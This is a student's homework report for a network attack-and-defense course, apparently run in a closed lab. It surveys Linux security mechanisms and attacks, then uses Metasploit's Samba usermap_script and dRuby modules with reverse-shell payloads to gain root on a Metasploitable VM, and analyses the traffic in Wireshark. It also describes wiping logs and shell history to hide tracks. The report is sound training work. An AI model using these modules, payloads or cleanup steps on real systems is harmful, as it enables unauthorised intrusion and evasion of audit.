20199327 2019-2020-2 《网络攻防实践》第八周作业
理论学习
1. 基本框架概述
linux是一种典型的宏内核结构。在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM(Loadable Kernel Module)机制装载或卸载。在硬件抽象层上是内核服务功能模块,包括进程管理,内存管理,文件系统,设备控制与网络这五个子系统。而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。Linux操作系统内核结构图如下图。
Linux的优势:
-
跨平台的硬件支持;
-
丰富的软件支持;
-
多用户多任务;
-
可靠的安全性;
-
良好的稳定性;
-
完善的网络功能;
Linux系统结构:
-
Linux系统进程和线程管理机制:传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。
进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复;
-
Linux系统的设备处理机制:Linux内核中处理或者管理硬件控制器的软件,抽象了设备的处理,支持三类硬件设备:字符设备、块设备和网络设备;
-
Linux系统内存管理机制:
内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间;
虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。;
-
Linux系统的调用机制: 程序透过访问接口来访问硬件设备和其他系统资源,Linux系统的系统调用通过软中断来实现;
2. 安全机制
Linux操作系统的核心安全机制:身份认证、授权与访问控制、安全审计;
- Linux身份认证机制
安全主体:Root根用户,普通用户、系统用户。
Linux用户信息保存在系统的/etc/passwd文件中,加密口令字则存放在/etc/shadow文件中,只对Root可读。
身份认证方式:本地身份认证(本地系统登录)和网络身份认证(远程网络访问)
过程:目前的Linux系统普遍采用SSH服务进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:
-
基于口令的身份认证,即用户名密码;
-
基于非对称密钥的身份认证;
PAM:Linux的统一身份认证中间件,可插入身份认证模块(Pluggable Authentication Modules);
PAM支持四种管理界面:
-
认证管理
-
账户管理
-
密码管理
-
会话管理
-
Linux安全审计机制
通过以下三个主要的日志子系统来实现:
连接时间日志:管理员能跟踪谁在何时登陆了系统;
进程统计日志:为系统中的基本服务提供命令使用统计;
常用的日志文件如下:
3.远程安全攻防技术
- 远程口令猜测与破解攻击: 远程渗透攻Linux系统最简单的方法仍然是猜测 或破解出系统的登录口令
流行工具:
Brutus:支持HTTP、POP3、FTP、SMB、telnet、IMAP等多种协议;
TCP Hydra:支持超30多种协议,包括HTTP/HTTPS、SSH、FTP、SMB、telnet,可执行字典攻击和口令穷举暴力破解;
Cain and Abel:Windows和Linux双用;
可通过严格的口令字管理制度和措施解决,具体如下:
-
确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。
-
特权账户应避免远程直接登录,只能在本地登录。
-
口令长度至少达到8位,包含字母、数字和标点符号。
-
对多次认证失败进行纪录,并在多次无效登录之后断掉连接。
-
不要再自己登录的所有系统上都使用相同的口令字。
-
并要笔录自己的口令字。
-
使用基于公开密钥证书的身份认证机制。
-
修改网络服务的默认端口。
- 网络服务远程渗透攻击:
-
Linux内核中的网络协议栈攻击;
-
LAMP WEB网站中的网络服务攻击;
-
FTP、Samba等文件共享服务;
-
电子邮件收发服务;
-
其他网络服务的攻击;
防范措施:
-
禁用不必要的网络服务;
-
尽量选择更安全的网络协议和服务软件;
-
及时更新网络服务版本;
-
使用防火墙为Linux网络服务添加网络访问控制;
-
建立入侵检测与应急响应计划流程;
- 攻击Linux客户端程序和用户:
-
攻击Linux平台上的客户端程序;
-
攻击Linux系统用户;
防范措施:及时更新软件;在下载软件的时候通过官方下载渠道,并校验MD5
- 攻击linux路由器和监听器:
针对使用Linux作为路由器系统的路由器的攻击;
针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等
防范措施:增强安全意识,关注厂商的安全威胁报告;及时进行固件的升级;掌握攻击者的入侵渗透手段,并进行渗透测试。
4.Linux本地安全攻防技术
- linux 本地特权提升
本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函
措施:在安装软件的过程中评估风险;及时对服务器进行升级维护;安全的配置系统,设置强口令字,使用SELinux等安全增强模块
- Linux消灭踪迹
通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
通过对.bahs_history文件的清理,清理shell的命令痕迹
措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
将日志信息写道难以修改的媒体介质上;
将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去。
- 远程控制与后门
通过替换对系统原有的远程登录程序进行替换实现后门;
通过图形化远程控制软件例如VNC实现攻击;
措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
理论实践
实践一
KALI 192.168.200.14
meta 192.168.200.5
实验已经确保虚拟机互相ping通,网络模式都调为NAT
kali中输入msfconsole启动kali里面的msfconsole
输入search usermap查看漏洞的详细信息
输入use exploit/multi/samba/usermap_script选择针对漏洞的渗透攻击模块,输入show options,如下图所示。
输入info,查看信息:
输入show payloads列举出所有适用的负载模块,如图所示,
然后执行set PAYLOAD cmd/unix/reverse选择你要用的攻击负载模块。选择18号(反转),执行set LHOST 192.168.200.14设置攻击机为kali,set RHOST 192.168.200.5设置靶机为meta,。
使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:
输入exploit开始攻击。
输入whoami查看靶机权限,显示root,验证了本次渗透攻击已经成功。
实践二
1.首先使用nmap扫描靶机,查看开放的端口,及端口上程序的版本,nmap -sV 192.168.200.5
2.参考了朱星帆同学的博客,选择dRuby漏洞作为攻击漏洞。
与实践一雷同,运用漏洞获取权限
3.在msfconsole中使用use exploit/linux/misc/drb_remote_codeexec使用渗透攻击模块,查看信息
4.使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:
5.输入show payloads列举出所有适用的负载模块;
6.执行set payload cmd/unix/reverse,执行set LHOST 192.168.200.14设置攻击机为kali,set RHOST 192.168.200.5设置靶机为meta,再show options查看是否配置成功,如图:
7.输入run开始攻击,输入whoami查看靶机权限,显示root,验证了本次渗透攻击已经成功。
上次突然成功,没有捕包,后面捕包执行的是ifconfig,如图:
防守方
1.攻击方ip:通过对数据包流量及数据包内容的分析,可以看出攻击方是192.168.200.14
2.目标ip端口:通过对嗅探报文的分析可以看出攻击方连接的端口均局限在8787端口上
3.攻击利用漏洞:8787是攻击的目标端口,通过查看nmap结果可以查到,这个端口是druby服务的端口,进而得知这是针对drb漏洞的攻击。
4.使用的shellcode:在wireshark抓包过程中,查看tcp流,可以看到如下:
上图倒是没咋看懂。。。
在实践1的基础上,wireshark实时监听经过网卡的数据包。从下图可以看出攻击者ip地址,端口,靶机ip地址,端口,时间等信息。
问题
攻击时出现Exploit completed, but no session was created.问题,时而可以,比较玄学
“无会话已创建”消息发生:
1)您使用的漏洞利用对您所选择的目标不起作用。可以
是一个不同版本的漏洞,有一个问题
利用代码,或目标配置有问题。
2)您使用的漏洞利用被配置为使用不创建的有效载荷
互动会话。在这种情况下,框架无法知道
被剥削者是否工作,因为它没有收到连接
从目标成功时(例如运行记事本)。
如果您尝试反向有效载荷,获取该消息和目标服务
不会崩溃,确保您的目标设置是正确的,而且
目标系统正在运行正确版本的易受攻击的软件。
总结
这次的实践和上次差不多,操作基本可以,但对原理的分析还是比较难顶